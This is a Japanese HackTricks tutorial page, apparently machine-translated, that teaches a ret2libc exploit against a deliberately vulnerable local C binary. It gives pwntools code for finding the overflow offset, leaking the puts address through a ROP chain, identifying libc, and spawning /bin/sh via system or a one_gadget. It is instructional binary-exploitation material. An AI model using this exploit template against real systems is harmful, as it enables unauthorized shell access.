Leaking libc address with ROP

HackTricksをサポートする

簡単な要約

  1. オーバーフローのオフセットを見つける

  2. POP_RDIガジェット、PUTS_PLTおよびMAINガジェットを見つける

  3. 前のガジェットを使用して、putsまたは他のlibc関数のメモリアドレスを漏洩させlibcのバージョンを見つけるダウンロードする

  4. ライブラリを使用して、ROPを計算し、エクスプロイトする

実践するための他のチュートリアルとバイナリ

このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします:https://tasteofsecurity.com/security/ret2libc-unknown-libc/ 他の有用なチュートリアル:https://made0x78.com/bseries-ret2libc/https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

コード

ファイル名:vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBCを漏洩させるテンプレート

エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:

Leaking libc - template

1- オフセットの特定

テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供された場合は、必要なコードを実行してそれを見つけます(デフォルトでは OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

実行 python template.py すると、クラッシュしたプログラムとともに GDB コンソールが開きます。その GDB コンソール 内で x/wx $rsp を実行して、RIP を上書きしようとしていた バイト を取得します。最後に、python コンソールを使用して オフセット を取得します:

from pwn import *
cyclic_find(0x6161616b)

オフセット(この場合は40)を見つけたら、その値を使ってテンプレート内のOFFSET変数を変更します。 OFFSET = "A" * 40

別の方法としては、pattern create 1000 -- retまで実行 -- pattern seach $rspをGEFから使用することです。

2- ガジェットの発見

次に、バイナリ内のROPガジェットを見つける必要があります。このROPガジェットは、libcを見つけるためにputsを呼び出すのに役立ち、後で最終的なエクスプロイトを実行するために使用されます。

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT関数putsを呼び出すために必要です。 MAIN_PLTオーバーフローを再度****悪用するために、1回のインタラクションの後にメイン関数を再度呼び出すために必要です(無限の悪用のラウンド)。各ROPの最後でプログラムを再度呼び出すために使用されますPOP_RDIは呼び出された関数にパラメータ渡すために必要です。

このステップでは、実行中にpwntoolsによってすべてが見つかるため、何も実行する必要はありません。

3- libcライブラリの特定

今はどのバージョンのlibcライブラリが使用されているかを見つける時です。そうするために、関数putsのメモリ内のアドレス漏洩し、そのアドレスにあるputsのバージョンがどのライブラリバージョンにあるかを検索します。

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

これを行うために、実行されたコードの最も重要な行は次のとおりです:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

これは、RIP上書きすることが可能になるまでいくつかのバイトを送信します: OFFSET。 次に、ガジェットPOP_RDIアドレスを設定し、次のアドレス(FUNC_GOT)がRDIレジスタに保存されるようにします。これは、PUTS_GOTアドレスを渡してputsを呼び出すためです。puts関数のメモリ内のアドレスはPUTS_GOTが指すアドレスに保存されています。 その後、PUTS_PLTが呼び出され(RDI内にPUTS_GOTがある状態で)、putsはPUTS_GOT内の内容を読み取りますメモリ内のputs関数のアドレス)そしてそれを出力します。 最後に、main関数が再び呼び出され、再度オーバーフローを利用できるようになります。

この方法で、puts関数を騙してメモリ内のputs関数のアドレスlibcライブラリ内)を出力させました。そのアドレスがわかったので、どのlibcバージョンが使用されているかを検索できます

ローカルバイナリを利用しているため、どのバージョンのlibcが使用されているかを特定する必要はありません(ただ/lib/x86_64-linux-gnu/libc.so.6でライブラリを見つければよいです)。 しかし、リモートエクスプロイトの場合、ここでどのように見つけるかを説明します:

3.1- libcバージョンの検索 (1)

ウェブページでどのライブラリが使用されているかを検索できます: https://libc.blukat.me/ 発見されたlibcのバージョンをダウンロードすることもできます。

3.2- libcバージョンの検索 (2)

次のようにすることもできます:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

これには少し時間がかかりますので、辛抱してください。 これが機能するためには、次が必要です:

  • Libcシンボル名: puts

  • 漏洩したlibcアドレス: 0x7ff629878690

これにより、最も可能性の高いlibcを特定できます。

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

私たちは2つのマッチを得ます(最初のものが機能しない場合は2番目のものを試してください)。最初のものをダウンロードしてください:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so から libc を作業ディレクトリにコピーします。

3.3- リークする他の関数

puts
printf
__libc_start_main
read
gets

4- libcアドレスの発見と悪用

この時点で使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のようにします:/lib/x86_64-linux-gnu/libc.so.6

したがって、template.pyの最初でlibc変数を次のように変更します: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #ライブラリパスを知っているときに設定

libcライブラリへのパスを指定することで、残りのエクスプロイトは自動的に計算されます

get_addr関数内でlibcのベースアドレスが計算されます:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

注意してください 最終的なlibcベースアドレスは00で終わる必要があります。そうでない場合は、間違ったライブラリを漏洩した可能性があります。

次に、関数 system へのアドレスと文字列 "/bin/sh" への アドレスlibcのベースアドレス から 計算 され、libcライブラリ が与えられます。

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

最終的に、/bin/sh 実行エクスプロイトが準備されます。

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

最後のROPについて説明しましょう。 最後のROP(rop1)は再びmain関数を呼び出し、次にoverflow再利用することができます(だからOFFSETがここに再びあります)。次に、POP_RDIを呼び出し、"/bin/sh"のアドレスBINSH)を指し示し、system関数(SYSTEM)を呼び出したいです。なぜなら、"/bin/sh"のアドレスがパラメータとして渡されるからです。 最後に、exit関数のアドレスが呼び出され、プロセスが正常に終了し、アラートが生成されません。

この方法で、エクスプロイトは_/bin/sh_**シェルを実行します。**

4(2)- ONE_GADGETの使用

systemと**"/bin/sh"を使用する代わりに、ONE_GADGETを使用してシェルを取得することもできます。ONE_GADGETはlibcライブラリ内で、1つのROPアドレス**を使用してシェルを取得する方法を見つけます。 ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは[rsp+0x30] == NULLのようなものです。RSP内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

この脆弱性を利用するためのテンプレートはここにあります:

Leaking libc - template

Common problems

MAIN_PLT = elf.symbols['main'] が見つかりません

"main" シンボルが存在しない場合、メインコードの場所を見つけることができます:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

アドレスを手動で設定します:

MAIN_PLT = 0x401080

Putsが見つかりません

バイナリがPutsを使用していない場合は、次のことを確認してください。

sh: 1: %s%s%s%s%s%s%s%s: not found

すべてのエクスプロイトを作成した後にこのエラーが見つかった場合: sh: 1: %s%s%s%s%s%s%s%s: not found

"/bin/sh"のアドレスから64バイトを引いてみてください:

BINSH = next(libc.search("/bin/sh")) - 64
HackTricksをサポートする

Last updated